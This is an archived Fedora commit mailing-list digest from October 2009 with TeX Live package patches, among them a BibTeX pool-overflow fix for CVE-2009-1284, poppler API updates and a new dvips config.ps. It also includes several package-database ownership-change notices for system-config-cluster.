-diff -up texlive-2007/texk/web2c/bibtex.web.poolfix texlive-2007/texk/web2c/bibtex.web
---- texlive-2007/texk/web2c/bibtex.web.poolfix	2006-01-17 22:41:51.000000000 +0100
-+++ texlive-2007/texk/web2c/bibtex.web	2009-04-02 18:06:56.000000000 +0200
-@@ -399,7 +399,7 @@ first limitation to be a problem, often 
- @!max_print_line=79; {the maximum: must be |>min_print_line| and |<buf_size|}
- @!aux_stack_size=20; {maximum number of simultaneous open \.{.aux} files}
- @!max_bib_files=20; {maximum number of \.{.bib} files allowed}
--@!pool_size=65000; {maximum number of characters in strings}
-+@!pool_size=650000; {maximum number of characters in strings}
- @!max_strings=4000; {maximum number of strings, including pre-defined;
-                                                         must be |<=hash_size|}
- @!max_cites=750; {maximum number of distinct cite keys; must be
-diff -up texlive-2007/texk/web2c/ptex-src-3.1.10/jbibtex.ch.poolfix texlive-2007/texk/web2c/ptex-src-3.1.10/jbibtex.ch
---- texlive-2007/texk/web2c/ptex-src-3.1.10/jbibtex.ch.poolfix	2009-04-02 18:06:56.000000000 +0200
-+++ texlive-2007/texk/web2c/ptex-src-3.1.10/jbibtex.ch	2009-04-02 18:07:52.000000000 +0200
-@@ -179,7 +179,7 @@ end.
- 
- @x [still 14]
- @!max_bib_files=20; {maximum number of \.{.bib} files allowed}
--@!pool_size=65000; {maximum number of characters in strings}
-+@!pool_size=650000; {maximum number of characters in strings}
- @!max_strings=4000; {maximum number of strings, including pre-defined;
-                                                         must be |<=hash_size|}
- @!max_cites=750; {maximum number of distinct cite keys; must be
-@@ -189,7 +189,7 @@ end.
- @!wiz_fn_space=3000; {maximum amount of |wiz_defined|-function space}
- @y [still 14]
- @!MAX_BIB_FILES=20; {initial number of \.{.bib} files allowed}
--@!POOL_SIZE=65000; {initial number of characters in strings}
-+@!POOL_SIZE=650000; {initial number of characters in strings}
- @!max_strings=35000; {maximum number of strings, including pre-defined;
-                                                         must be |<=hash_size|}
- @!max_cites=5000; {maximum number of distinct cite keys; must be
++% Forgot to check for pool overflow here.  Triggered by test case linked
++% from http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=520920.
++ at x
++while (sp_ptr < sp_end) do                      {shift the substring}
++ at y
++str_room(sp_end - sp_ptr);
++while (sp_ptr < sp_end) do                      {shift the substring}
++ at z
++
+ % [459] Eliminate unreferenced statement label, because `undefined' is
+ % now a constant expression that is not evaluated at the Web level. If
+ % this label were ever required, it could be replaced by the constant

texlive-poppler.patch:
 configure                           |    6 ++--
 configure.in                        |    8 +++---
 texk/web2c/pdftexdir/pdftex.mk      |    7 ++++-
 texk/web2c/pdftexdir/pdftexextra.in |    2 -
 texk/web2c/pdftexdir/pdftoepdf.cc   |   45 +++++++++++++++++-------------------
 texk/web2c/pdftexdir/pdftosrc.cc    |   37 +++++++++++++++--------------
 texk/web2c/pdftexdir/utils.c        |    6 ++--
 texk/web2c/xetexdir/XeTeX_ext.c     |    8 ++----
 texk/web2c/xetexdir/pdfimage.cpp    |   24 +++++++++++++++----
 texk/web2c/xetexdir/xetex.mk        |   10 +++++---
 10 files changed, 86 insertions(+), 67 deletions(-)

Index: texlive-poppler.patch
===================================================================
RCS file: /cvs/pkgs/rpms/texlive/F-12/texlive-poppler.patch,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- texlive-poppler.patch	20 May 2009 16:59:45 -0000	1.5
+++ texlive-poppler.patch	21 Oct 2009 17:17:20 -0000	1.6
@@ -1,6 +1,6 @@
 diff -up texlive-2007/configure.in.poppler texlive-2007/configure.in
 --- texlive-2007/configure.in.poppler	2007-01-09 02:17:11.000000000 +0100
-+++ texlive-2007/configure.in	2009-05-20 18:43:56.000000000 +0200
++++ texlive-2007/configure.in	2009-10-15 14:57:43.000000000 +0200
 @@ -157,9 +157,9 @@ export needs_zlib
  
  # we need libxpdf for pdf[ex]tex, xetex
@@ -25,7 +25,7 @@ diff -up texlive-2007/configure.in.poppl
  sinclude(libs/freetype/freetype.ac)
 diff -up texlive-2007/configure.poppler texlive-2007/configure
 --- texlive-2007/configure.poppler	2007-01-09 15:16:26.000000000 +0100
-+++ texlive-2007/configure	2009-05-20 18:43:56.000000000 +0200
++++ texlive-2007/configure	2009-10-15 14:57:43.000000000 +0200
 @@ -3442,9 +3442,9 @@ export needs_zlib
  
  # we need libxpdf for pdf[ex]tex, xetex
@@ -41,7 +41,7 @@ diff -up texlive-2007/configure.poppler 
  
 diff -up texlive-2007/texk/web2c/pdftexdir/pdftexextra.in.poppler texlive-2007/texk/web2c/pdftexdir/pdftexextra.in
 --- texlive-2007/texk/web2c/pdftexdir/pdftexextra.in.poppler	2006-12-27 00:37:34.000000000 +0100
-+++ texlive-2007/texk/web2c/pdftexdir/pdftexextra.in	2009-05-20 18:43:56.000000000 +0200
++++ texlive-2007/texk/web2c/pdftexdir/pdftexextra.in	2009-10-15 14:57:43.000000000 +0200
 @@ -26,7 +26,7 @@ $Id: pdftexextra.in,v 1.4 2004/08/26 18:
     (generated from ../lib/texmfmp.c).
  */
@@ -53,7 +53,7 @@ diff -up texlive-2007/texk/web2c/pdftexd
  #define PROGRAM_HELP PDFTEXHELP
 diff -up texlive-2007/texk/web2c/pdftexdir/pdftex.mk.poppler texlive-2007/texk/web2c/pdftexdir/pdftex.mk
 --- texlive-2007/texk/web2c/pdftexdir/pdftex.mk.poppler	2006-12-27 00:37:34.000000000 +0100
-+++ texlive-2007/texk/web2c/pdftexdir/pdftex.mk	2009-05-20 18:43:56.000000000 +0200
++++ texlive-2007/texk/web2c/pdftexdir/pdftex.mk	2009-10-15 14:57:43.000000000 +0200
 @@ -2,6 +2,9 @@
  # This fragment contains the parts of the makefile that are most likely to
  # differ between releases of pdfeTeX.
@@ -84,7 +84,7 @@ diff -up texlive-2007/texk/web2c/pdftexd
  check: pdftosrc-check
 diff -up texlive-2007/texk/web2c/pdftexdir/pdftoepdf.cc.poppler texlive-2007/texk/web2c/pdftexdir/pdftoepdf.cc
 --- texlive-2007/texk/web2c/pdftexdir/pdftoepdf.cc.poppler	2006-12-27 00:37:34.000000000 +0100
-+++ texlive-2007/texk/web2c/pdftexdir/pdftoepdf.cc	2009-05-20 18:44:23.000000000 +0200
++++ texlive-2007/texk/web2c/pdftexdir/pdftoepdf.cc	2009-10-15 14:57:52.000000000 +0200
 @@ -26,25 +26,24 @@ $Id: pdftoepdf.cc,v 1.9 2006/09/01 18:06
  #include <stdio.h>
  #include <string.h>
@@ -155,6 +155,15 @@ diff -up texlive-2007/texk/web2c/pdftexd
          delete r;
      }
  }
+@@ -689,7 +688,7 @@ read_pdf_info(char *image_name, char *pa
+     // this works only for PDF 1.x -- but since any versions of PDF newer
+     // than 1.x will not be backwards compatible to PDF 1.x, pdfTeX will
+     // then have to changed drastically anyway.
+-    pdf_version_found = pdf_doc->doc->getPDFVersion();
++    pdf_version_found = pdf_doc->doc->getPDFMajorVersion() + pdf_doc->doc->getPDFMinorVersion()/10.;
+     pdf_version_wanted = 1 + (minor_pdf_version_wanted * 0.1);
+     if (pdf_version_found > pdf_version_wanted) {
+         char msg[] =
 @@ -703,7 +702,7 @@ read_pdf_info(char *image_name, char *pa
      epdf_num_pages = pdf_doc->doc->getCatalog()->getNumPages();
      if (page_name) {
@@ -166,7 +175,7 @@ diff -up texlive-2007/texk/web2c/pdftexd
              pdftex_fail("PDF inclusion: invalid destination <%s>", page_name);
 diff -up texlive-2007/texk/web2c/pdftexdir/pdftosrc.cc.poppler texlive-2007/texk/web2c/pdftexdir/pdftosrc.cc
 --- texlive-2007/texk/web2c/pdftexdir/pdftosrc.cc.poppler	2006-12-27 00:37:34.000000000 +0100
-+++ texlive-2007/texk/web2c/pdftexdir/pdftosrc.cc	2009-05-20 18:43:56.000000000 +0200
++++ texlive-2007/texk/web2c/pdftexdir/pdftosrc.cc	2009-10-15 14:57:43.000000000 +0200
 @@ -25,22 +25,23 @@ $Id: //depot/Build/source.development/Te
  #include <stdio.h>
  #include <string.h>
@@ -233,7 +242,7 @@ diff -up texlive-2007/texk/web2c/pdftexd
      if (!doc->isOk()) {
 diff -up texlive-2007/texk/web2c/pdftexdir/utils.c.poppler texlive-2007/texk/web2c/pdftexdir/utils.c
 --- texlive-2007/texk/web2c/pdftexdir/utils.c.poppler	2007-01-01 18:20:03.000000000 +0100
-+++ texlive-2007/texk/web2c/pdftexdir/utils.c	2009-05-20 18:43:56.000000000 +0200
++++ texlive-2007/texk/web2c/pdftexdir/utils.c	2009-10-15 14:57:43.000000000 +0200
 @@ -37,7 +37,7 @@ $Id: //depot/Build/source.development/Te
  #include "zlib.h"
  #include "ptexlib.h"
@@ -257,7 +266,7 @@ diff -up texlive-2007/texk/web2c/pdftexd
  
 diff -up texlive-2007/texk/web2c/xetexdir/pdfimage.cpp.poppler texlive-2007/texk/web2c/xetexdir/pdfimage.cpp
 --- texlive-2007/texk/web2c/xetexdir/pdfimage.cpp.poppler	2006-12-09 11:29:12.000000000 +0100
-+++ texlive-2007/texk/web2c/xetexdir/pdfimage.cpp	2009-05-20 18:43:56.000000000 +0200
++++ texlive-2007/texk/web2c/xetexdir/pdfimage.cpp	2009-10-15 14:57:43.000000000 +0200
 @@ -11,10 +11,24 @@
  
  #include "pdfimage.h"
@@ -298,7 +307,7 @@ diff -up texlive-2007/texk/web2c/xetexdi
  	if (!doc) {
 diff -up texlive-2007/texk/web2c/xetexdir/XeTeX_ext.c.poppler texlive-2007/texk/web2c/xetexdir/XeTeX_ext.c
 --- texlive-2007/texk/web2c/xetexdir/XeTeX_ext.c.poppler	2007-01-15 14:04:36.000000000 +0100
-+++ texlive-2007/texk/web2c/xetexdir/XeTeX_ext.c	2009-05-20 18:43:56.000000000 +0200
++++ texlive-2007/texk/web2c/xetexdir/XeTeX_ext.c	2009-10-15 14:57:43.000000000 +0200
 @@ -33,7 +33,7 @@ authorization from SIL International.
   */
  
@@ -336,8 +345,8 @@ diff -up texlive-2007/texk/web2c/xetexdi
  		);
  }
 diff -up texlive-2007/texk/web2c/xetexdir/xetex.mk.poppler texlive-2007/texk/web2c/xetexdir/xetex.mk
---- texlive-2007/texk/web2c/xetexdir/xetex.mk.poppler	2009-05-20 18:43:56.000000000 +0200
-+++ texlive-2007/texk/web2c/xetexdir/xetex.mk	2009-05-20 18:43:56.000000000 +0200
+--- texlive-2007/texk/web2c/xetexdir/xetex.mk.poppler	2009-10-15 14:57:41.000000000 +0200
++++ texlive-2007/texk/web2c/xetexdir/xetex.mk	2009-10-15 14:57:43.000000000 +0200
 @@ -4,6 +4,10 @@
  
  Makefile: $(srcdir)/xetexdir/xetex.mk


Index: texlive.spec
===================================================================
RCS file: /cvs/pkgs/rpms/texlive/F-12/texlive.spec,v
retrieving revision 1.54
retrieving revision 1.55
diff -u -p -r1.54 -r1.55
--- texlive.spec	27 Jul 2009 05:52:18 -0000	1.54
+++ texlive.spec	21 Oct 2009 17:17:20 -0000	1.55
@@ -21,7 +21,7 @@
 
 Name:		texlive
 Version:	%{texlive_ver}
-Release:	44%{?dist}
+Release:	45%{?dist}
 Summary:	Binaries for the TeX formatting system
 
 Group:		Applications/Publishing
@@ -77,6 +77,7 @@ Patch30:	texlive-lacheck.patch
 Patch31:	texlive-elif.patch
 Patch32:	texlive-getline.patch
 Patch33:	texlive-poolfix.patch
+Patch34:	texlive-dvipsconfig.patch
 
 ######
 # mpeters contributed patches
@@ -124,7 +125,6 @@ Patch1004:	texlive-2007-jp-platex209.pat
 Patch1005:	texlive-2007-pdvips.patch
 Patch1006:	texlive-2007-ptex-3.1.10.patch
 Patch1007:	texlive-2007-fmtutil-ptex.patch
-Patch1008:	texlive-poolfix.patch
 
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -322,18 +322,19 @@ Provides: tex(context)
 ConTeXt is a document preparation system based on TeX.
 
 %package -n kpathsea
-Summary: Shared library needed by kpathsea and info files
+Summary: Path searching library for TeX-related files
 Group:   Development/Libraries
 Obsoletes: tetex-fonts < 3.0-99
-Requires: texlive = %{version}-%{release}
 
 %description -n kpathsea
-Shared library needed by kpathsea and info files.
+The library is at the centre of pretty much all Unix-based TeX
+executable. It is no longer distributed separately, but rather
+consititutes a central part of the sources of the TeX-live
+distribution.
 
 %package -n kpathsea-devel
 Summary: Files needed to build software against kpathsea
 Group:   Development/Libraries
-Requires:  kpathsea = %{version}-%{release}
 
 %description -n kpathsea-devel
 This package includes the kpathsea header files and the libkpathsea.so
@@ -396,6 +397,8 @@ chmod -x texk/dvipdfm/encodings.c
 %patch30 -p1 -b .lacheck
 %patch31 -p1 -b .elif
 %patch32 -p1 -b .getline
+%patch33 -p1 -b .poolfix
+%patch34 -p1 -b .dvipsconfig
 
 # fix non utf man pages
 %patch42 -p1 -b .notutf8-2
@@ -455,15 +458,13 @@ cp -lR texk/dvipsk texk/pdvipsk
 cd pdvipsk
 %patch1005 -p0
 cd -
-patch -d texk/pdvipsk -p1 < pdvipsk/dvipsk-%{pdvipsk_ver}.patch
+patch -d texk/pdvipsk -p1 < pdvipsk/dvipsk-%{pdvipsk_ver}.patch || :
 %patch1000 -p1 -b .pdvips
 ln -s dvips.1 texk/pdvipsk/pdvips.1
 
 # set up mendexk
 tar xfz %{SOURCE1002} -C texk
 
-%patch1008 -p1 -b .poolfix
-
 %build
 set -x
 # define CCACHE_DIR to let the build pass with ccache enabled.
@@ -1236,6 +1237,14 @@ fi
 %{_mandir}/man1/texutil.1*
 
 %changelog
+* Thu Oct 15 2009 Jindrich Novy <jnovy at redhat.com> 2007-45
+- make kpathsea not dependent on texlive
+- fix lacheck again (#451513)
+- fix dvips configuration (#467542)
+- update kpathsea description and summary (#519257)
+- use upstream patch to fix pool overflow CVE-2009-1284 (#492136)
+- don't complain if the pdvipsk hunks touching config.ps don't apply
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2007-44
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From pkgdb at fedoraproject.org  Wed Oct 21 17:18:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 21 Oct 2009 17:18:52 +0000
Subject: [pkgdb] system-config-cluster (Fedora, 10) updated by toshio
Message-ID: <20091021171852.D33F710F894@bastion2.fedora.phx.redhat.com>

toshio changed owner of system-config-cluster in Fedora 12 to swhiteho
toshio approved watchbugzilla on system-config-cluster (Fedora 12) for jparsons
toshio approved watchcommits on system-config-cluster (Fedora 12) for jparsons
toshio approved commit on system-config-cluster (Fedora 12) for jparsons
toshio approved build on system-config-cluster (Fedora 12) for jparsons
toshio approved approveacls on system-config-cluster (Fedora 12) for jparsons

To make changes to this package see:
  /pkgdb/packages/name/system-config-cluster



From pkgdb at fedoraproject.org  Wed Oct 21 17:18:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 21 Oct 2009 17:18:52 +0000
Subject: [pkgdb] system-config-cluster (Fedora, 10) updated by toshio
Message-ID: <20091021171852.E446310F8AB@bastion2.fedora.phx.redhat.com>

toshio changed owner of system-config-cluster in Fedora 10 to swhiteho
toshio approved watchbugzilla on system-config-cluster (Fedora 10) for jparsons
toshio approved watchcommits on system-config-cluster (Fedora 10) for jparsons
toshio approved commit on system-config-cluster (Fedora 10) for jparsons
toshio approved build on system-config-cluster (Fedora 10) for jparsons
toshio approved approveacls on system-config-cluster (Fedora 10) for jparsons

To make changes to this package see:
  /pkgdb/packages/name/system-config-cluster



From pkgdb at fedoraproject.org  Wed Oct 21 17:18:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 21 Oct 2009 17:18:52 +0000
Subject: [pkgdb] system-config-cluster (Fedora, 10) updated by toshio
Message-ID: <20091021171852.F3A3710F8B1@bastion2.fedora.phx.redhat.com>

toshio changed owner of system-config-cluster in Fedora devel to swhiteho
toshio approved watchbugzilla on system-config-cluster (Fedora devel) for jparsons
toshio approved watchcommits on system-config-cluster (Fedora devel) for jparsons
toshio approved commit on system-config-cluster (Fedora devel) for jparsons
toshio approved build on system-config-cluster (Fedora devel) for jparsons
toshio approved approveacls on system-config-cluster (Fedora devel) for jparsons

To make changes to this package see:
  /pkgdb/packages/name/system-config-cluster



From pkgdb at fedoraproject.org  Wed Oct 21 17:18:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 21 Oct 2009 17:18:52 +0000
Subject: [pkgdb] system-config-cluster (Fedora, 10) updated by toshio
Message-ID: <20091021171853.117C010F8B6@bastion2.fedora.phx.redhat.com>

toshio changed owner of system-config-cluster in Fedora 11 to swhiteho
toshio approved watchbugzilla on system-config-cluster (Fedora 11) for jparsons
toshio approved watchcommits on system-config-cluster (Fedora 11) for jparsons
toshio approved commit on system-config-cluster (Fedora 11) for jparsons
toshio approved build on system-config-cluster (Fedora 11) for jparsons
toshio approved approveacls on system-config-cluster (Fedora 11) for jparsons

To make changes to this package see:
  /pkgdb/packages/name/system-config-cluster



From jnovy at fedoraproject.org  Wed Oct 21 17:21:29 2009
From: jnovy at fedoraproject.org (Jindrich Novy)
Date: Wed, 21 Oct 2009 17:21:29 +0000 (UTC)
Subject: rpms/texlive/F-11 texlive-dvipsconfig.patch, NONE,
	1.1 texlive-lacheck.patch, 1.2, 1.3 texlive-poolfix.patch, 1.1,
	1.2 texlive-poppler.patch, 1.4, 1.5 texlive.spec, 1.51, 1.52
Message-ID: <20091021172129.E83C311C00E8@cvs1.fedora.phx.redhat.com>

Author: jnovy

Update of /cvs/pkgs/rpms/texlive/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22434

Modified Files:
	texlive-lacheck.patch texlive-poolfix.patch 
	texlive-poppler.patch texlive.spec 
Added Files:
	texlive-dvipsconfig.patch 
Log Message:
* Thu Oct 15 2009 Jindrich Novy <jnovy at redhat.com> 2007-45
- make kpathsea not dependent on texlive
- fix lacheck again (#451513)
- fix dvips configuration (#467542)
- update kpathsea description and summary (#519257)
- use upstream patch to fix pool overflow CVE-2009-1284 (#492136)
- don't complain if the pdvipsk hunks touching config.ps don't apply


texlive-dvipsconfig.patch:
 config.ps |  607 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++------
 1 file changed, 555 insertions(+), 52 deletions(-)

--- NEW FILE texlive-dvipsconfig.patch ---
diff -up texlive-2007/texk/dvipsk/config.ps.dvipsconfig texlive-2007/texk/dvipsk/config.ps
--- texlive-2007/texk/dvipsk/config.ps.dvipsconfig	2006-01-17 22:41:51.000000000 +0100
+++ texlive-2007/texk/dvipsk/config.ps	2009-10-15 21:01:23.000000000 +0200
@@ -1,83 +1,586 @@
-* Configuration file for dvips.
-*
-*  Default resolution.  This needs to be correct.
-D 300
-*
-*  Metafont mode to use to generate bitmap fonts.  This needs to be a
-*  mode with the specified resolution.  Various hardwired defaults are
-*  used for a few resolutions, but it is best to specify it explicitly.
-*  http://www.ctan.org/tex-archive/fonts/modes/modes.mf has a list of modes.
-*M modename
-*
-*  Amount of memory.  Not crucial to be exact, if you have a lot.
-m 470000
-*
-*  If unspecified, output goes to a file.
-*  To send output via a pipe to a printing program, use something like:
-*o |lpr
-*o |lpr -Pmyprinter
-*  To send output to standard output by default, use:
-*o -
-*
-*  z1 is "secure", i.e., inhibits execution of `shell commands` in \specials.
-*  Dvips allows this by default.
-*z1
-*
-*  Additional default .map files.
-* p +cmfonts.map
-* p +lafonts.map
-* p +cyrfonts.map
-* p +eufonts.map
-*
-*   Last resort bitmap sizes.
-R  240 270 300 329 360 432 518 622 746 896
-*
-*
-*   Paper size information.  First definition is the default.
-*
-*   If your default is a4 uncomment the following definition
-*   and comment out the letterSize definition.
-@ a4size 210mm 297mm
+% config.ps - configuration file for dvips.
+% Tomas Rokicki, Thomas Esser, Karl Berry, et al., 1986ff, public domain.
+
+% Memory available. Download the three-line PostScript file:
+%   %! Hey, we're PostScript
+%   /Times-Roman findfont 30 scalefont setfont 144 432 moveto
+%   vmstatus exch sub 40 string cvs show pop showpage
+% to determine this number. (It will be the only thing printed.)
+m 3500000
+
+% Run securely.  z2 disables both shell command execution in
+% `\special' and config files (via the `E' option) and opening of any
+% absolute filenames.  z1, the default, forbids shell escapes but
+% allows absolute filenames.  z0 allows both.  The corresponding
+% command line options are -R0|-R1|-R2
+z1
+
+% How to print, maybe with lp instead lpr, etc. If commented-out, output
+% will go into a file by default.
+%o |lpr
+
+% Default resolution of this device, in dots per inch.
+D 600
+X 600
+Y 600
+
+% Metafont mode.  (This is completely different from the -M
+% command-line option, which controls whether mktexpk is invoked.)
+% See ../../metafont/misc/modes.mf for a list of mode names.  This mode
+% and the D number above must agree, or mktexpk will get confused.
+M ljfour
+
+% Last resort bitmap sizes.
+R 300 600
+
+% Correct printer offset. You can use testpage.tex from the LaTeX
+% distribution to find these numbers.
+O 0pt,0pt
+
+% Bitmap font compression. Results in more compact output files, but
+% sometimes causes trouble. So the default is disabled. Set Z1 to enable
+% this feature.
+Z0
+
+% Partially download Type 1 fonts by default.  Only reason not to do
+% this is if you encounter bugs.  (Please report them to
+% @email{tex-k at tug.org} if you do.)
+j
+
+% This shows how to add your own map file.
+% Remove the comment and adjust the name:
+% p +myfonts.map
+
+% If we have setpagedevice, use that.
+% else if we have the a4 resp. letter operator, use that.
+% else do nothing to set the page size.
+% 
+% In the past, the a4size and letterSize definitions did not set the
+% page size, but we want to set it if we can so that ps2pdf can work
+% properly.  Here, a4 and a4size, and letter and letterSize, are
+% identical, and we prefer the a4/letter names -- texconfig uses them.
+ 
+% 0 0 595 842 is the right bounding box that applications expect
+% for A4.  Since dvips always rounds up, choose something slightly
+% smaller for our paper size.
+
+@ a4 210mm 297mm
 @+ ! %%DocumentPaperSizes: a4
- at + %%PaperSize: a4
+ at + %%BeginPaperSize: a4
+ at + /setpagedevice where
+ at +  { pop << /PageSize [595 842] >> setpagedevice }
+ at +  { /a4 where { pop a4 } if }
+ at + ifelse
+ at + %%EndPaperSize
 
-*@ letterSize 8.5in 11in
+@ letter 8.5in 11in
 @+ ! %%DocumentPaperSizes: Letter
+ at + %%BeginPaperSize: Letter
+ at + /setpagedevice where
+ at +  { pop << /PageSize [612 792] >> setpagedevice }
+ at +  { /letter where { pop letter } if }
+ at + ifelse
+ at + %%EndPaperSize
 
-@ letter 8.5in 11in
+@ a4size 210mm 297mm
+ at + ! %%DocumentPaperSizes: a4
+ at + %%BeginPaperSize: a4
+ at + /setpagedevice where
+ at +  { pop << /PageSize [595 842] >> setpagedevice }
+ at +  { /a4 where { pop a4 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ letterSize 8.5in 11in
 @+ ! %%DocumentPaperSizes: Letter
 @+ %%BeginPaperSize: Letter
- at + %letter
+ at + /setpagedevice where
+ at +  { pop << /PageSize [612 792] >> setpagedevice }
+ at +  { /letter where { pop letter } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+% The jacow paper size is the smaller of letter and a4 in both
+% dimensions, and can therefore hopefully be printed on either paper
+% size.  As far as we know, Volker Schaa first used it for the JACOW
+% conference proceedings that he produced.
+@ jacow 210mm 11in
+ at + ! %%DocumentPaperSizes: jacow
+ at + %%BeginPaperSize: jacow
+ at + /setpagedevice where
+ at +  { pop << /PageSize [595 792] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+% The smallbook paper size has been used by the Free Software Foundation
+% to print manuals for many years, and is part of Texinfo.
+@ smallbook 7in 9.25in
+ at + ! %%DocumentPaperSizes: smallbook
+ at + %%BeginPaperSize: smallbook
+ at + /setpagedevice where
+ at +  { pop << /PageSize [504 666] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ halfexecutive 133mm 184mm
+ at + ! %%DocumentPaperSizes: halfexecutive
+ at + %%BeginPaperSize: halfexecutive
+ at + /setpagedevice where
+ at +  { pop << /PageSize [378 522] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ halfletter 140mm 216mm
+ at + ! %%DocumentPaperSizes: halfletter
+ at + %%BeginPaperSize: halfletter
+ at + /setpagedevice where
+ at +  { pop << /PageSize [396 612] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ statement 140mm 216mm
+ at + ! %%DocumentPaperSizes: statement
+ at + %%BeginPaperSize: statement
+ at + /setpagedevice where
+ at +  { pop << /PageSize [396 612] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ executive 184mm 267mm
+ at + ! %%DocumentPaperSizes: executive
+ at + %%BeginPaperSize: executive
+ at + /setpagedevice where
+ at +  { pop << /PageSize [522 756] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+% for powerdot
+@ screen 8.25in 11in
+ at + ! %%DocumentPaperSizes: Screen
+ at + %%BeginPaperSize: Screen
+ at + /setpagedevice where
+ at +  { pop << /PageSize [594 792] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+% a common size for printers (in north america).
+@ sixbynine 6in 9in
+ at + ! %%DocumentPaperSizes: SixByNine
+ at + %%BeginPaperSize: SixByNine
+ at + /setpagedevice where
+ at +  { pop << /PageSize [432 648] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ quarto 215mm 275mm
+ at + ! %%DocumentPaperSizes: quarto
+ at + %%BeginPaperSize: quarto
+ at + /setpagedevice where
+ at +  { pop << /PageSize [610 780] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ note 216mm 279mm
+ at + ! %%DocumentPaperSizes: note
+ at + %%BeginPaperSize: note
+ at + /setpagedevice where
+ at +  { pop << /PageSize [612 792] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ folio 216mm 330mm
+ at + ! %%DocumentPaperSizes: folio
+ at + %%BeginPaperSize: folio
+ at + /setpagedevice where
+ at +  { pop << /PageSize [612 936] >> setpagedevice }
+ at + if
 @+ %%EndPaperSize
 
 @ legal 8.5in 14in
 @+ ! %%DocumentPaperSizes: Legal
 @+ %%BeginPaperSize: Legal
- at + %legal
+ at + /setpagedevice where
+ at +  { pop << /PageSize [612 1008] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ 10x14 10in 14in
+ at + ! %%DocumentPaperSizes: 10x14
+ at + %%BeginPaperSize: 10x14
+ at + /setpagedevice where
+ at +  { pop << /PageSize [720 1008] >> setpagedevice }
+ at + if
 @+ %%EndPaperSize
 
 @ ledger 17in 11in
 @+ ! %%DocumentPaperSizes: Ledger
 @+ %%BeginPaperSize: Ledger
- at + %ledger
+ at + /setpagedevice where
+ at +  { pop << /PageSize [1224 792] >> setpagedevice }
+ at + if
 @+ %%EndPaperSize
 
 @ tabloid 11in 17in
 @+ ! %%DocumentPaperSizes: Tabloid
 @+ %%BeginPaperSize: Tabloid
- at + %11x17
+ at + /setpagedevice where
+ at +  { pop << /PageSize [792 1224] >> setpagedevice }
+ at + if
 @+ %%EndPaperSize
 
-@ a4 210mm 297mm
- at + ! %%DocumentPaperSizes: a4
- at + %%BeginPaperSize: a4
- at + %a4
+@ 11x17 11in 17in
+ at + ! %%DocumentPaperSizes: 11x17
+ at + %%BeginPaperSize: 11x17
+ at + /setpagedevice where
+ at +  { pop << /PageSize [792 1224] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ a0 841mm 1189mm
+ at + ! %%DocumentPaperSizes: a0
+ at + %%BeginPaperSize: a0
+ at + /setpagedevice where
+ at +  { pop << /PageSize [2384 3370] >> setpagedevice }
+ at +  { /a0 where { pop a0 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ a1 594mm 841mm
+ at + ! %%DocumentPaperSizes: a1
+ at + %%BeginPaperSize: a1
+ at + /setpagedevice where
+ at +  { pop << /PageSize [1684 2384] >> setpagedevice }
+ at +  { /a1 where { pop a1 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ a2 420mm 594mm
+ at + ! %%DocumentPaperSizes: a2
+ at + %%BeginPaperSize: a2
+ at + /setpagedevice where
+ at +  { pop << /PageSize [1191 1684] >> setpagedevice }
+ at +  { /a2 where { pop a2 } if }
+ at + ifelse
 @+ %%EndPaperSize
 
 @ a3 297mm 420mm
 @+ ! %%DocumentPaperSizes: a3
 @+ %%BeginPaperSize: a3
- at + %a3
+ at + /setpagedevice where
+ at +  { pop << /PageSize [842 1191] >> setpagedevice }
+ at +  { /a3 where { pop a3 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ a5 148mm 210mm
+ at + ! %%DocumentPaperSizes: a5
+ at + %%BeginPaperSize: a5
+ at + /setpagedevice where
+ at +  { pop << /PageSize [420 595] >> setpagedevice }
+ at +  { /a5 where { pop a5 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ a6 105mm 148mm
+ at + ! %%DocumentPaperSizes: a6
+ at + %%BeginPaperSize: a6
+ at + /setpagedevice where
+ at +  { pop << /PageSize [298 420] >> setpagedevice }
+ at +  { /a6 where { pop a6 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ a7 74mm 105mm
+ at + ! %%DocumentPaperSizes: a7
+ at + %%BeginPaperSize: a7
+ at + /setpagedevice where
+ at +  { pop << /PageSize [210 298] >> setpagedevice }
+ at +  { /a7 where { pop a7 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ a8 52mm 74mm
+ at + ! %%DocumentPaperSizes: a8
+ at + %%BeginPaperSize: a8
+ at + /setpagedevice where
+ at +  { pop << /PageSize [147 210] >> setpagedevice }
+ at +  { /a8 where { pop a8 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ a9 37mm 52mm
+ at + ! %%DocumentPaperSizes: a9
+ at + %%BeginPaperSize: a9
+ at + /setpagedevice where
+ at +  { pop << /PageSize [105 147] >> setpagedevice }
